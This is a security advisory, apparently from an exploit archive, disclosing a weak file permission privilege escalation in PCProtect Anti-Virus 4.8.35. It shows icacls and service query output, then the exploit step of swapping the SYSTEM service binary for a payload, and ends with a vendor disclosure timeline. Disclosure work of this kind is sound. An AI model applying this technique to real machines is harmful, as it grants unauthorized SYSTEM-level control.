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PCProtect 4 8.35 Privilege Escalation

PCProtect 4 8.35 Privilege Escalation
Posted Sep 27, 2018
Authored by Hashim Jawad

PCProtect 4 version 8.35 suffers from a weak file permission privilege escalation vulnerability.

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SHA-256 | 1a3f9f98779877970807ab97138ae5d81df5de87bf4360b2b951f311a288ac81

PCProtect 4 8.35 Privilege Escalation

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# Exploit Title      : PCProtect v4.8.35 - Weak File Premissions Privilege Escalation
# Date : 09/11/2018
# Exploit Author : Hashim Jawad - @ihack4falafel
# Vendor Homepage : https://www.pcprotect.com/
# Vulnerable Software: https://www.pcprotect.com/download
# Tested on : Windows 7 Enterprise SP1 (x64)

Description:
============
PCProtect Anti-Virus v4.8.35 installs by default to "C:\Program Files (x86)\PCProtect" with very weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's subfolders. In addition, the program installs a service called "SecurityService" which runs as "Local system account", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with malicious one.

Proof:
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C:\Users\IEUser>icacls "c:\Program Files (x86)\PCProtect"
c:\Program Files (x86)\PCProtect BUILTIN\Users:(OI)(CI)(F)
Everyone:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>sc qc SecurityService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SecurityService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : PC Security Management Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\IEUser>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\IEUser>

Exploit:
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Simply replace "SecurityService.exe" with your preferred payload and wait for execution upon reboot.

# Disclosure Timeline:
# ====================
# 09-12-18: Contacted vendor
# 09-13-18: Vendor responded requesting more information
# 09-13-18: Required information sent and requested to get me in touch with product security team
# 09-14-18: Vendor replied stating that I'm free account user thus suggested checking their Help Center
# 09-15-18: Contacted vendor again and explained this not support request rather security vulnerability and will be published in week time unless they request otherwise
# 09-16-18: Vendor responded that a ticket has been created and forwarded to the development team
# 09-21-18: Requested an update from vendor, no response
# 09-27-18: Vulnerability published
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